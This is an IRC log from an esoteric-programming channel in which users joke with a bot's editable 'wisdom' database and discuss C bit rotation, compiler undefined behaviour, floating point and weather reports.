09:18:50 <HackEgo> Stephen Wolfram is an esolanger with too much money and power. Taneb invented him.
09:19:18 <shachaf> `? this sentence
09:19:20 <HackEgo> This sentence was not invented by Taneb. Taneb invented it.
09:19:49 <shachaf> `slwd this sentence//s#not invented by Taneb#invented by oerjan#
09:19:52 <HackEgo> wisdom/this sentence//This sentence was invented by oerjan. Taneb invented it.
09:20:24 <shachaf> `? the universe
09:20:25 <HackEgo> The universe was invented by Taneb as an opposing force to oerjan.
09:20:54 <Moon_> Taneb invented everything
09:21:05 <Taneb> Not true!
09:21:11 <Taneb> I didn't invent anything to do with sex
09:21:31 <shachaf> I thought you invented the torus?
09:21:35 <b_jonas> Do you think radix 5×6 as defined here counts as an esoteric radix => http://www.madore.org/~david/weblog/d.2015-11-09.2335.html ? It probably does, because the intent is not to use it, as opposed to some of the weird numerical notations used in the past and sometimes the present (I hate roman numerals).
09:23:08 <shachaf> `slwd tanebventions: math//s#the reals#Klein bottles, the reals#
09:23:11 <HackEgo> wisdom/tanebventions: math//Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms.
09:24:38 <FreeFull> `? <#
09:24:40 <HackEgo> ​<#? ¯\(°​_o)/¯
09:25:02 <FreeFull> `wisdom <# The famous waffleheart.
09:25:03 <HackEgo> ​//cat: : No such file or directory
09:25:12 <shachaf> `le/rn_append the universe/Escardó proved that it was indiscreet.
09:25:15 <HackEgo> Learned 'the universe': The universe was invented by Taneb as an opposing force to oerjan. Escardó proved that it was indiscreet.
09:26:36 <shachaf> `? universe
09:26:38 <HackEgo> The universe was invented by Taneb as an opposing force to oerjan.
09:26:44 <shachaf> !
09:26:56 <shachaf> `` ls -l wisdom/{the\ ,}universe
09:26:59 <HackEgo> ​-rw-r--r-- 1 5000 0 107 Jun 20 08:24 wisdom/the universe \ -rw-r--r-- 1 5000 0 67 Dec 9 2015 wisdom/universe
09:27:39 <shachaf> `learn A universe is a poem in one stanza.
09:27:43 <HackEgo> Relearned 'universe': A universe is a poem in one stanza.
09:31:52 -!- bender__ has changed nick to bender.
09:42:32 -!- hwpplayer1 has joined.
09:42:34 -!- hwpplayer1 has quit (Max SendQ exceeded).
09:43:15 -!- hwpplayer1 has joined.
09:43:26 -!- hwpplayer1 has quit (Max SendQ exceeded).
09:44:06 -!- hwpplayer1 has joined.
10:03:27 -!- bender has quit (Ping timeout: 264 seconds).
10:21:11 -!- Destructible has joined.
10:21:14 <Destructible> o hi
10:27:29 <b_jonas> fungot, do you have chickenpox?
10:31:58 -!- Destructible has quit (Ping timeout: 250 seconds).
10:37:10 -!- hwpplayer1 has quit (Ping timeout: 258 seconds).
10:45:37 <b_jonas> fungot?
10:45:48 <b_jonas> `8-ball where's fungot?
10:45:50 <HackEgo> Most likely.
10:49:46 -!- Destructible has joined.
10:49:49 <Destructible> hi.
10:50:38 -!- Destructible has quit (Client Quit).
11:20:52 -!- boily has joined.
11:40:40 -!- MoALTz has joined.
12:20:06 -!- boily has quit (Quit: SHRUNK CHICKEN).
12:22:50 -!- LegionMammal978 has joined.
12:23:05 -!- LegionMammal978 has left.
12:25:06 -!- Phantom_Hoover has joined.
13:03:57 -!- Koen_ has joined.
13:08:10 -!- tromp has quit (Read error: Connection reset by peer).
13:16:05 -!- MoALTz_ has joined.
13:16:45 -!- Alcest has quit (Ping timeout: 260 seconds).
13:18:52 -!- MoALTz has quit (Ping timeout: 244 seconds).
13:19:52 -!- MoALTz_ has changed nick to MoALTz.
13:47:53 -!- oerjan has joined.
14:01:05 -!- Sgeo has quit (Ping timeout: 260 seconds).
14:05:48 <oerjan> <\oren\> and some trams <-- my city has only one tram hth
14:06:03 <oerjan> several trains, though.
14:06:34 <oerjan> izabera: ^
14:06:48 <izabera> ok
14:07:54 <oerjan> (well, those generally leave and arrive in the city. there are no internal train lines)
14:08:39 <oerjan> but it's the regional train hub of mid norway
14:11:59 <b_jonas> yeah. whereas I live in a proper city, with no hurricanes or earthquakes, but several lines of trams
14:12:08 -!- iaglium has quit (Ping timeout: 272 seconds).
14:12:47 <oerjan> my city doesn't have hurricanes or earthquakes either. or volcanos. all we get is the occasional storm.
14:12:59 <oerjan> wait
14:13:10 <oerjan> i guess that can be a hurricane, in theory.
14:14:51 <oerjan> maybe the scientists will come up with some mutant monsters.
14:14:59 <b_jonas> yes, no volcanos either
14:15:23 <oerjan> hm *volcanoes
14:16:21 <b_jonas> no lava spitting mountains or dark water splitting mountains
14:16:30 <oerjan> izabera: are you working in an evil lair on the slope of vt. vesuvius twh
14:16:35 <oerjan> *mt.
14:17:05 <oerjan> (or even better, inside)
14:17:32 <oerjan> (but i'm not sure real evil lair technology is that advanced yet)
14:18:25 <oerjan> "dark water splitting mountains"?
14:19:19 <oerjan> i suppose that may just be scenery
14:19:40 <oerjan> now if the water were actually black...
14:20:53 <b_jonas> oerjan: dark water is what you have in video games instead of lava on Game Boy, since it only has a black and white display with crude graphics. it doesn't look like lava at all.
14:20:57 <b_jonas> `? draw water
14:21:03 <b_jonas> `? dark water
14:21:05 <oerjan> aha
14:21:15 <b_jonas> I think I even added a wisdom for this
14:21:26 <Koen_> `? lava
14:21:27 <HackEgo> dark water? ¯\(°​_o)/¯
14:21:27 <HackEgo> draw water? ¯\(°​_o)/¯
14:21:29 <HackEgo> lava? ¯\(°​_o)/¯
14:21:32 <b_jonas> nope
14:21:48 <oerjan> but now i have an image of a dark mountain rising up from a dark sea
14:22:18 <oerjan> with assorted ominous figures flying to and fro
14:22:30 <b_jonas> `slashlearn dark water/Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imaginations.
14:22:34 <b_jonas> `slashlearn dark water/Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imagination.
14:22:35 <HackEgo> Learned «dark water»
14:22:39 <HackEgo> Relearned «dark water»
14:22:42 <b_jonas> `? dark water
14:22:45 <HackEgo> Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imagination.
14:23:25 <oerjan> technically a lot of real lava is black when it's cooled down to only slightly lethal
14:24:18 <oerjan> (or not so slightly. there's a tvtropes page for this stuff)
14:24:24 <b_jonas> oerjan: sure, but video game lava isn't real lava
14:24:44 <oerjan> i'm just saying that being dark is not necessarily disqualifying
14:24:57 <b_jonas> oerjan: sure, dark is fine, it just looks to me like water
14:25:02 <oerjan> now, being able to step right next to it with no harm, on the other hand...
14:25:09 <b_jonas> the Danube looks quite dark too
14:25:19 <b_jonas> and so does the Balaton too
14:25:39 <oerjan> the Danube being lava would have made much of european history a lot stranger
14:26:03 <b_jonas> How would you even get lava in a castle?
14:26:09 <oerjan> i guess it would just have been an impenetrable barrier
14:26:20 <oerjan> b_jonas: evil lair technology hth
14:26:25 <oerjan> (or magic)
14:32:18 <oerjan> `culprits wisdom/this sentence
14:32:37 <HackEgo> shachaf oerjan shachaf shachaf oerjan elliott shachaf
14:33:26 <oerjan> `hoag wisdom/this sentence
14:33:34 <HackEgo> ​<shachaf> slwd this sentence//s#not invented by Taneb#invented by oerjan# \ <oerjan> revert \ <shachaf> ` sed -i \'s/was not/was/\' wisdom/\'this sentence\' \ <shachaf> ` sed -i \'s/was/was not/\' wisdom/this\\ sentence \ <oerjan> revert \ <elliott> revert 1 \ <shachaf> echo >wisdom/this\\ sentence \'This sentence was invented by Taneb. Taneb in
14:35:05 * oerjan wonders why he reverted the last time
14:35:42 -!- iaglium has joined.
14:35:58 <oerjan> `slwd this sentence//s/oerjan/shachaf/
14:36:04 <HackEgo> wisdom/this sentence//This sentence was invented by shachaf. Taneb invented it.
14:36:05 -!- bender__ has joined.
14:36:28 <oerjan> @tell shachaf i made this sentence more accurate hth
14:36:28 <lambdabot> Consider it noted.
14:37:47 <b_jonas> `wiser magic
14:37:51 <HackEgo> The magic was in you all along. \ Taneb invented it.
14:38:00 <b_jonas> `rm bin/wiser
14:38:04 <HackEgo> No output.
14:38:24 <b_jonas> I should write that properly. And make it add other suffixes randomly, like "Except in bed." or "Except on Tuesdays.
14:38:27 <b_jonas> "
14:38:55 <oerjan> okay
14:41:10 <izabera> https://www.reddit.com/r/linux/comments/4ov74y/ovh_founder_on_twitter_canonical_is_attempting_to/
14:42:08 <b_jonas> `card-by-name nausea
14:42:12 <HackEgo> Nausea \ 1B \ Sorcery \ All creatures get -1/-1 until end of turn. \ EX-C, 7E-C, 8ED-C
14:42:32 <b_jonas> `random-card 1B\nSorcery\nAll creatures get -1/-1 until end of turn.
14:42:35 <HackEgo> Nausea \ 1B \ Sorcery \ All creatures get -1/-1 until end of turn. \ EX-C, 7E-C, 8ED-C
14:42:37 <b_jonas> `random-card 1B\nSorcery\nAll creatures get -1/-1 until end of turn.
14:42:40 <HackEgo> Shrivel \ 1B \ Sorcery \ All creatures get -1/-1 until end of turn. \ ROE-C, M14-C, MM2-C
14:42:40 <b_jonas> no, the other one
14:42:42 <b_jonas> yes, that
14:46:33 <b_jonas> `random-card
14:46:37 <HackEgo> Gryff's Boon \ W \ Enchantment -- Aura \ Enchant creature \ Enchanted creature gets +1/+0 and has flying. \ {3}{W}: Return Gryff's Boon from your graveyard to the battlefield attached to target creature. Activate this ability only any time you could cast a sorcery. \ SOI-U
14:47:47 -!- nycs has joined.
14:55:06 -!- bender__ has changed nick to bender.
15:01:41 -!- Sgeo has joined.
15:06:01 <oerjan> @ask shachaf did you misspell "indiscrete" on purpose?
15:06:02 <lambdabot> Consider it noted.
15:06:06 <oerjan> um
15:06:13 <oerjan> `? the universe
15:06:18 <HackEgo> The universe was invented by Taneb as an opposing force to oerjan. Escardó proved that it was indiscreet.
15:06:23 <oerjan> still there
15:29:43 <int-e> oerjan: fwiw I thought "indiscreet" looked deliberate
15:30:53 <int-e> also I like the idea of a universe spilling secrets
15:34:39 -!- iaglium has quit (Ping timeout: 246 seconds).
15:35:13 <oerjan> good, good
15:38:59 -!- iaglium has joined.
15:57:28 -!- spiette has joined.
15:58:14 -!- iaglium has quit (Ping timeout: 260 seconds).
16:07:50 -!- Koen__ has joined.
16:08:33 -!- iaglium has joined.
16:10:34 -!- Koen_ has quit (Ping timeout: 272 seconds).
16:14:53 -!- moon___ has joined.
16:16:18 -!- adu has joined.
16:21:42 <HackEgo> [wiki] [[IANAL]] N https://esolangs.org/w/index.php?oldid=47237 * FMota * (+1392) Created page with "IANAL (I Am Not A Lawyer) is a programming language. Programs in this language are presented in the form of a legal contract, and they run with the aid of a human interpreter..."
16:25:04 -!- spiette has quit (Ping timeout: 260 seconds).
16:27:52 <HackEgo> [wiki] [[User:FMota]] https://esolangs.org/w/index.php?diff=47238&oldid=35261 * FMota * (+14)
16:30:17 <HackEgo> [wiki] [[Joke language list]] M https://esolangs.org/w/index.php?diff=47239&oldid=47080 * FMota * (+46) /* General languages */ Added IANAL.
16:30:42 -!- moon____ has joined.
16:30:46 -!- Moon_ has quit (Ping timeout: 250 seconds).
16:31:02 -!- moon____ has changed nick to moon_.
16:31:10 -!- moon_ has changed nick to moon____________.
16:31:25 -!- moon____________ has changed nick to moon_.
16:31:49 -!- moon_ has left.
16:33:20 -!- moon___ has quit (Ping timeout: 260 seconds).
16:34:08 -!- Kaynato has joined.
16:39:56 -!- spiette has joined.
16:40:11 -!- bender has quit (Ping timeout: 250 seconds).
16:48:41 -!- moon_ has joined.
16:49:39 -!- moon_ has quit (Remote host closed the connection).
16:55:15 -!- iaglium has quit (Quit: Bed Time).
16:56:41 -!- nycs has quit (Quit: This computer has gone to sleep).
16:56:52 -!- nycs has joined.
17:02:18 <shachaf> oerjan: yes hth
17:03:48 -!- iaglium has joined.
17:04:08 <oerjan> glad that's settled tdh
17:04:54 <shachaf> oerjan: i was going to make more of a pun there but i couldn't think of one
17:05:19 <shachaf> maybe it would go ebtterin the other wisdom entry
17:05:22 <shachaf> `? universe
17:05:32 <HackEgo> A universe is a poem in one stanza.
17:11:10 <oerjan> i dunno, that one looks better when concise.
17:14:05 <shachaf> `1 xxd wisdom/this\ sentence
17:14:10 <HackEgo> 1/1:0000000: 5468 6973 2073 656e 7465 6e63 6520 7761 This sentence wa \ 0000010: 7320 696e 7665 6e74 6564 2062 7920 7368 s invented by sh \ 0000020: 6163 0f68 6166 2e20 5461 6e65 6220 696e ac.haf. Taneb in \ 0000030: 7665 6e74 6564 2069 742e 0a vented it.. \
17:18:31 -!- iaglium has quit (Quit: Bed Time).
17:21:20 -!- iaglium has joined.
17:24:12 -!- adu has quit (Quit: adu).
17:43:09 <oerjan> shachaf: i figured if i didn't put that in, you'd just `revert it hth
17:49:27 -!- moon___ has joined.
17:57:11 -!- iaglium has quit (Ping timeout: 240 seconds).
17:57:20 -!- oerjan has quit (Quit: Later).
18:19:58 -!- Koen__ has quit (Remote host closed the connection).
18:31:54 -!- moon___ has quit (Read error: Connection reset by peer).
18:46:54 <shachaf> `? tanebventions: maths
18:46:58 <HackEgo> Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms.
18:47:08 -!- iaglium has joined.
18:47:25 <shachaf> is the sextant a mathematical tanebvention
18:54:33 -!- iaglium has quit (Ping timeout: 240 seconds).
18:56:41 -!- Koen_ has joined.
19:01:43 -!- iaglium has joined.
19:29:17 -!- augur has joined.
19:29:24 -!- spiette has quit (Ping timeout: 276 seconds).
19:44:05 -!- spiette has joined.
20:09:13 -!- augur has quit (Remote host closed the connection).
20:11:06 <\oren\> oh so thats what ianal stands for. i have been reading it in my head literally.
20:18:22 <\oren\> why doesnt C have a rotate operator?
20:18:46 <\oren\> mpst processors have a rotate instruction.
20:20:21 <\oren\> oh maybe the pdp 11 didnt
20:21:10 <\oren\> no it totally did!
20:21:16 <\oren\> argh
20:22:11 -!- ^v has quit (Ping timeout: 244 seconds).
20:25:19 <\oren\> for that matter whytf don't more languages allow you to test for overflow simply? most processors have an overflow flag for that purpose!
20:28:49 <\oren\> goddamn people pandering to special snowflake processor designers
20:31:09 -!- ^v has joined.
21:03:03 -!- ^v^v has joined.
21:03:10 -!- ^v has quit (Ping timeout: 272 seconds).
21:03:31 -!- ^v^v has changed nick to ^v.
21:19:09 <izabera> gcc lets you use all of that with __builtin_*
21:19:33 -!- jaboja has joined.
21:23:37 -!- augur has joined.
21:26:29 <FreeFull> \oren\: Rust has a rotate method
21:30:17 <int-e> . o O ( so does Postscript )
21:31:06 <FreeFull> x.rotate_left(y) and x.rotate_right(y) (Yeah, the names are pretty long.. )
21:32:11 <fizzie> Most compilers turn (a >> K) | (a << (W-K)) of a W-bit unsigned type into a single rotate-by-K instruction.
21:32:26 -!- spiette has quit (Ping timeout: 244 seconds).
21:32:50 <izabera> even mksh can rotate
21:34:02 <fizzie> `` echo 'unsigned f(unsigned x) { return (x << 7) | (x >> (32-7)); }' | gcc -x c - -o - -S | tr '\t' ' ' | grep roll
21:34:07 <HackEgo> ​ roll $7, %eax
21:34:40 <izabera> it's doubly stupid that you have to write it like that
21:36:14 <\oren\> hmm what if i made an assembler with a c like syntax
21:36:35 <izabera> isn't that called c
21:37:11 <\oren\> eax += *(i32)rbx
21:37:37 <\oren\> eax += *(i32*)rbx
21:37:55 -!- spiette has joined.
21:38:30 <izabera> a language where you can add * anywhere randomly and it will still be valid
21:39:51 <Taneb> But only one *
21:40:08 <\oren\> Or for 6502: A+=*(0x6000+X)
21:42:45 <\oren\> which turns into 7d 00 60
21:43:34 <\oren\> ideally it can figure out even ones that take more than one instruction
21:45:18 <\oren\> hmm and maybe it would also have type inference for pointers
21:45:31 <\oren\> ill work on a spec
21:46:31 <\oren\> but the point is this would avoid learning so many opcode mnemonics
21:52:47 <int-e> `? wbinvd
21:52:48 <HackEgo> wbinvd? ¯\(°​_o)/¯
21:54:25 <\oren\> you would still have to know what the registers are named but perhaps those would be in a header
21:55:46 <\oren\> include "x86-64.h"
21:56:12 <\oren\> i64 register rax
21:56:34 <\oren\> i32 register eax
21:57:16 <\oren\> i8 register ah
21:57:51 <int-e> \oren\: so what are you imagining to do with the MMX/SSE{,2,3,4} mess?
21:58:23 <\oren\> probably the type sysyem will include arrays or structs
21:58:35 <\oren\> so something like
21:59:10 <int-e> ah, the AVX family seems to be the most recent addition there.
21:59:28 * int-e has stopped paying attention to processor developements :/
21:59:29 <pikhq> \oren\: FWIW those have been done; they're generally considered "high level assemblers".
21:59:44 <pikhq> (not that that should stop you)
21:59:53 <\oren\> i32 register mm032[2]
22:02:04 <\oren\> pikhq: ive looked at a few...
22:03:29 <\oren\> they seem to revolve around providing if and while rather than algebraic notaton
22:06:00 <\oren\> basically ive becone fed up with c. i just wish gcc would stop optimizing based on undefined behaviour and instead define said behaviour in a useful and consistent manner
22:07:00 -!- Sprocklem has joined.
22:07:10 <pikhq> A huge amount of UB comes from C wanting to support different CPUs without requiring inefficient code gen, FWIW...
22:07:35 <pikhq> If GCC decided to abandon that, then it'd in some cases be forced to, well, emit inefficient code to support the semantics.
22:08:29 <\oren\> well what they could do is have a flag -fx86semantics
22:08:49 <pikhq> Would that include the floating point semantics?
22:09:17 <\oren\> yes it would just do whatever the obvious thing is
22:09:34 <pikhq> Then it would be forced to do a software floating point implementation.
22:09:49 <\oren\> pikhq: why?
22:10:13 <\oren\> the obbvious thing is that adding two doubles emits a fadd
22:10:14 <pikhq> ... Because x86 is unique in having 80-bit floats. And only 80-bit floats.
22:10:40 <pikhq> Unless you use SSE2 math, but most on x86 don't.
22:11:11 <int-e> -ffloat-store exists for a reason.
22:11:29 <int-e> but I don't think that's the stuff \oren\ is complaining about anyway
22:11:40 <\oren\> right. essentially i want a flag that defines things as the most obvious way to do in asm
22:12:01 <int-e> it's thing like "oh this code path dereferences a null pointer, which is undefined behavior, so let's mark it as never taken"
22:12:20 <int-e> and breaking overflow checks
22:12:32 <pikhq> int-e: -ffloat-store produces non-conformant behavior... But, on the other hand, on compilers before GCC 5, the default was both non-conformant *and utterly inconsistent*. :)
22:14:31 <pikhq> (-ffloat-store stores intermediates to the stack as 64-bit or 32-bit floats immediately. What C requires is intermediates only get reduced down to that on a cast or store to double or float; what GCC did was reduce down to that whenever it would spill to the stack.)
22:15:35 <\oren\> int-e: yeah. the overflow of signed integers has -fwrapv but ideally there should be something that defines all UB.
22:38:22 <\oren\> accessing an undefined variable shoukd just give you some value. it shouldn't delete the code of the entire containing function..
22:41:03 -!- spockers has quit (Excess Flood).
22:41:49 -!- spockers has joined.
22:44:00 <fizzie> Well, now. The x87 FPU control word *does* have a precision control, being able to select single (24), double (53) or double extended (64) precision.
22:44:22 <fizzie> "These settings are provided to support IEEE Standard 754 and to provide compatibility with the specifications of certain existing programming languages."
22:44:40 <fizzie> (From what I recall, they don't affect the exponent range, though.)
22:47:15 <pikhq> fizzie: Yup, they can't really be used for saner floats because of that.
22:51:37 -!- nycs has quit (Quit: This computer has gone to sleep).
23:00:02 -!- boily has joined.
23:02:37 <boily> @metar CYUL
23:02:37 <lambdabot> CYUL 202100Z 22025G33KT 30SM FEW075 SCT250 32/16 A2975 RMK CU1CI3 SLP074 DENSITY ALT 2300FT
23:03:02 <boily> thirty-fungotting-two outside. sunny, face wind. much fun to bike. bleh.
23:03:32 <boily> @metar CYUL
23:03:32 <lambdabot> CYUL 202100Z 22025G33KT 30SM FEW075 SCT250 32/16 A2975 RMK CU1CI3 SLP074 DENSITY ALT 2300FT
23:03:34 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
23:03:36 <boily> @metar ENVA
23:03:36 <lambdabot> ENVA 202150Z 16015KT CAVOK 16/07 Q1003 RMK WIND 670FT 18024G38KT
23:03:52 * boily should import some ørjanlandweather
23:04:12 <shachaf> `? weather
23:04:16 <HackEgo> lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK
23:04:18 <lambdabot> CYUL 202100Z 22025G33KT 30SM FEW075 SCT250 32/16 A2975 RMK CU1CI3 SLP074 DENSITY ALT 2300FT \ ENVA 202150Z 16015KT CAVOK 16/07 Q1003 RMK WIND 670FT 18024G38KT \ ESSB 202150Z AUTO 15005KT 9999 NCD 14/10 Q1014 \ KOAK 202153Z 28014KT 10SM FEW080 FEW120 23/11 A3007 RMK AO2 SLP181 T02330111
23:04:33 <shachaf> @metar KSJC
23:04:33 <lambdabot> KSJC 202153Z 30013G18KT 10SM FEW070 SCT120 SCT200 29/07 A3005 RMK AO2 SLP173 T02890067
23:04:55 <boily> hellochaf. please stop moving twh
23:05:12 <shachaf> @metar KPHX
23:05:13 <lambdabot> KPHX 202151Z 18009KT 10SM FEW120 FEW200 SCT250 46/03 A2977 RMK AO2 SLP056 T04560028
23:05:51 <\oren\> @metar cyyz
23:05:51 <lambdabot> CYYZ 202118Z 24020G28KT 15SM BKN060TCU BKN075 30/21 A2977 RMK TCU5AC2 SLP081 DENSITY ALT 2500FT
23:06:03 <shachaf> @metar LLBG
23:06:03 <lambdabot> LLBG 202150Z 18004KT CAVOK 25/18 Q1010 NOSIG
23:07:33 <boily> he\\oren\.
23:09:08 <boily> Canada is topping the temperatures. there's something wrong going on...
23:09:46 <boily> @metar FTTJ
23:09:47 <lambdabot> FTTJ 202100Z 23004KT 9999 FEW040 FEW050CB 28/23 Q1013 NOSIG
23:10:17 <boily> it's warmer here than N'Djamena. please someone who has admin access reboot the Earth.
23:10:33 <shachaf> boily: did you see KPHX hth
23:11:23 <boily> aberrant outlier. statistically unsound, and it goes against my rant.
23:11:54 <boily> I highly doubt it's possible to reach +46 in the K??? block hth
23:12:05 <\oren\> toronto has a horrible heat island
23:12:29 <boily> okay, KPHX is Phoenix. perfectly plausible.
23:12:48 <boily> \oren\: the Big T is disastrous for heat.
23:13:02 <\oren\> when you enter the farmland the temperature drops 10 degrees on a typical summer
23:14:12 <\oren\> one day ill run for mayor and build a giant air conditioned dome over the entire GTA
23:15:06 <boily> you should build it around here. much better immo.
23:15:27 <\oren\> it will be a big beautiful dome, and ill make the albertans pay for it!
23:15:44 -!- spiette has quit (Ping timeout: 260 seconds).
23:15:53 <boily> oh. please yourself! as long as they pay I'm fine with it.
23:16:32 <HackEgo> [wiki] [[FiM++]] https://esolangs.org/w/index.php?diff=47240&oldid=45608 * 85.244.128.237 * (-5)
23:17:19 <shachaf> @metar KCHD
23:17:19 <lambdabot> KCHD 202147Z 17007KT 20SM FEW200 45/03 A2980
23:17:40 <shachaf> @metar KTUS
23:17:40 <lambdabot> KTUS 202153Z AUTO 00000KT 10SM CLR 43/02 A2993 RMK AO2 SLP074 T04330022
23:17:47 <boily> okay, okay. american heatwave. I'm still complaining, tho!
23:17:52 * boily mumbles grumbles
23:17:59 <shachaf> You know, when I moved to the US, I thought it was a cold country.
23:18:24 <\oren\> the dome will generate revenue as it will be opaque abd white, so we can project advertisements onto it to be visible to everyone in the city
23:18:26 <shachaf> Anyway does Arizona even really count?
23:18:29 <shachaf> @metar KSAN
23:18:29 <lambdabot> KSAN 202151Z 18009KT 10SM FEW040 SCT100 25/16 A2989 RMK AO2 SLP123 FU SCT100 T02500161
23:19:13 <\oren\> the big dipper will be replaced by the coca cola logo
23:20:18 <shachaf> whoa whoa whoa, remember _The Man Who Sold the Moon_?
23:20:27 -!- oerjan has joined.
23:20:59 <\oren\> shachaf: well it would only visible from inside the dome
23:21:24 <\oren\> so revenue would go to the municipal government only.
23:21:40 * boily mapoles the corporate shill out of \oren\
23:21:57 <shachaf> "In Robert A. Heinlein's 1951 novella The Man Who Sold the Moon the protagonist raises funds for his lunar ambitions by publicly describing means of covering the visible lunar face in advertising and propaganda, and then taking money not to do so."
23:22:21 <\oren\> lol that could also work
23:25:08 <\oren\> we could project visuals of the night sky onto the dome with brightness enhanced making toronto the only metropolis where the milky way is clearly visible
23:26:34 <Koen_> shachaf: he bought the moon with money he got for not buying it?
23:26:41 <\oren\> in emergencies the dome coukd also display news footage or instructions for response personnel
23:26:47 <shachaf> Koen_: For not advertising on it, I guess?
23:26:58 <Koen_> that sounds like diverting money
23:27:06 <shachaf> I'm not sure that he bought the moon. I guess he did?
23:27:16 <shachaf> But I think that story is mainly about how he sold it.
23:27:19 <Koen_> there is an iranian film about the death penalty
23:27:34 <shachaf> \oren\: Or a picture of a bat?
23:27:42 <Koen_> the father of a murdered girl asks the father of the murderer for money in exchange of which he will not press charges
23:28:21 <Koen_> but it turns out that since men are worth more than women, the state won't execute the murderer unless the family of the victim pays the difference
23:28:41 <Koen_> so the father of the victim is planning to use the money he got for not pressing charges to pay for the execution
23:32:08 <\oren\> hmm it appears that noone has proposed an *opaque* done...
23:32:28 <\oren\> s/done/done
23:32:43 <\oren\> s/done/dome
23:33:51 <Phantom_Hoover> shachaf, holy fuck i thought those metars were in fahrenheit
23:34:01 <oerjan> happoily solstice!
23:38:01 <boily> bonne ploeirjane lune et bjohan senlstice!
23:46:52 -!- spockers has quit (Read error: Connection reset by peer).
23:47:28 -!- spockers has joined.
23:47:57 <oerjan> oh so it is
23:49:26 <oerjan> <\oren\> oh so thats what ianal stands for. i have been reading it in my head literally. <-- the beauty is that it doesn't really change the meaning much hth
23:57:06 -!- MoALTz has quit (Ping timeout: 244 seconds).
2016-06-21
00:00:39 -!- boily has quit (Quit: WINDY CHICKEN).
00:05:16 -!- jaboja has quit (Ping timeout: 252 seconds).
00:17:35 -!- lambda-11235 has joined.
00:38:34 -!- iaglium has quit (Ping timeout: 260 seconds).
00:45:24 -!- iaglium has joined.
00:51:29 -!- augur has quit (Remote host closed the connection).
01:00:03 -!- augur has joined.
01:11:01 -!- moon___ has joined.
01:23:46 -!- moon___ has quit (Ping timeout: 250 seconds).
01:30:50 -!- augur has quit (Remote host closed the connection).
01:43:06 -!- lambda-11235 has quit (Quit: Gotta go).
01:44:16 <quintopia> @tell boily Hope you like dark and malty. You're getting 24floz of barleywine and stout for a grand total of 2.94floz of alcohol.
01:44:16 <lambdabot> Consider it noted.
01:45:45 -!- iaglium has quit (Ping timeout: 260 seconds).
02:31:44 -!- lambda-11235 has joined.
02:32:58 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
03:10:13 -!- augur has joined.
03:30:09 -!- augur_ has joined.
03:30:36 -!- augur has quit (Ping timeout: 250 seconds).
03:42:50 -!- oerjan has quit (Quit: Nite).
04:14:17 <shachaf> `` hoag wisdom/tanebvention | tac
04:14:21 <HackEgo> ​<oerjan> mv wisdom/tanebventions wisdom/tanebvention \ <ais523> revert 3 \ <ais523> revert 87c64ef250a0 \ <oerjan> mv wisdom/tanebvention{s,} \ <boily> cp wisdom/tanebventions wisdom/tanebvention \ <oerjan> sed -i \'s/torus,/torus, Stephen Wolfram,/\' wisdom/tanebvention \ <FireFly> sed -i \'s/modules/&, Chu spaces/\' wisdom/tanebvention \ <oerj
04:14:26 <shachaf> `` hoag wisdom/tanebventions | tac
04:14:29 <HackEgo> ​<Taneb> learn Tanebventions include D-modules and automatic squirrel feeders \ <oerjan> mv wisdom/tanebventions wisdom/tanebvention \ <Taneb> learn Tanebventions include D-modules, automatic squirrel feeders, and Go \ <oerjan> mv wisdom/tanebvention{s,} \ <Taneb> learn Tanebventions include D-modules, automatic squirrel feeders, the torus, and G
04:14:39 <shachaf> whoa, Taneb invented Tanebventions?
04:14:52 <shachaf> I kind of assumed it was oerjan or something.
04:16:08 <shachaf> `? tanebvention
04:16:09 <HackEgo> Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex.
04:16:32 <shachaf> `slwd tanebvention//s#p#Tanebventions, p#
04:16:36 <HackEgo> wisdom/tanebvention//Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, Tanebventions, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex.
04:18:18 <shachaf> `cat bin/sled
04:18:18 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
04:18:19 <HackEgo> ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1; }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
04:20:12 <shachaf> Hmm, I was going to make a version of sled that doesn't write out the file, for testing in /msg, but it's too much of a hassle.
04:46:27 -!- Kaynato has quit (Ping timeout: 244 seconds).
05:13:24 -!- lambda-11235 has quit (Quit: Bye).
05:19:28 <lifthrasiir> http://petrl.org/
05:42:48 <Cale> http://iml.univ-mrs.fr/~girard/mustard/article.html
06:10:18 -!- lambda-11235 has joined.
06:23:30 -!- hppavilion[1] has joined.
06:23:33 <hppavilion[1]> * - freenode runs an open proxy scanner. Please join #freenode for
06:23:34 <hppavilion[1]> * - any network-related questions or queries, where a number of
06:23:34 <hppavilion[1]> * - volunteer staff and helpful users will be happy to assist you.
06:23:34 <hppavilion[1]> * -
06:23:35 <hppavilion[1]> * - You can meet us at FOSSCON (http://www.fosscon.org) where we get
06:23:37 <hppavilion[1]> * - together with like-minded FOSS enthusiasts for talks and
06:23:39 <hppavilion[1]> Whoops
06:23:45 <hppavilion[1]> Is there an ISO standard for controlling death rays?
06:43:02 <\oren\> maybe USB would work?
06:43:05 <\oren\> or SCSI
06:43:53 <pikhq> MIDI.
06:51:33 -!- Sprocklem has quit (Ping timeout: 240 seconds).
06:55:55 <lifthrasiir> death (metal) ray
06:59:12 -!- lambda-11235 has quit (Quit: Bye).
07:03:16 -!- Sprocklem has joined.
07:06:38 <izabera> wow there's already a hd-ts torrent of finding dory
07:22:21 <zzo38> My own new kind of computer design is it is also with MIDI (not only for music).
07:25:44 <pikhq> izabera: Somebody's getting fired.
07:26:41 <izabera> i'm sorry for them *eats popcorn watching finding dory*
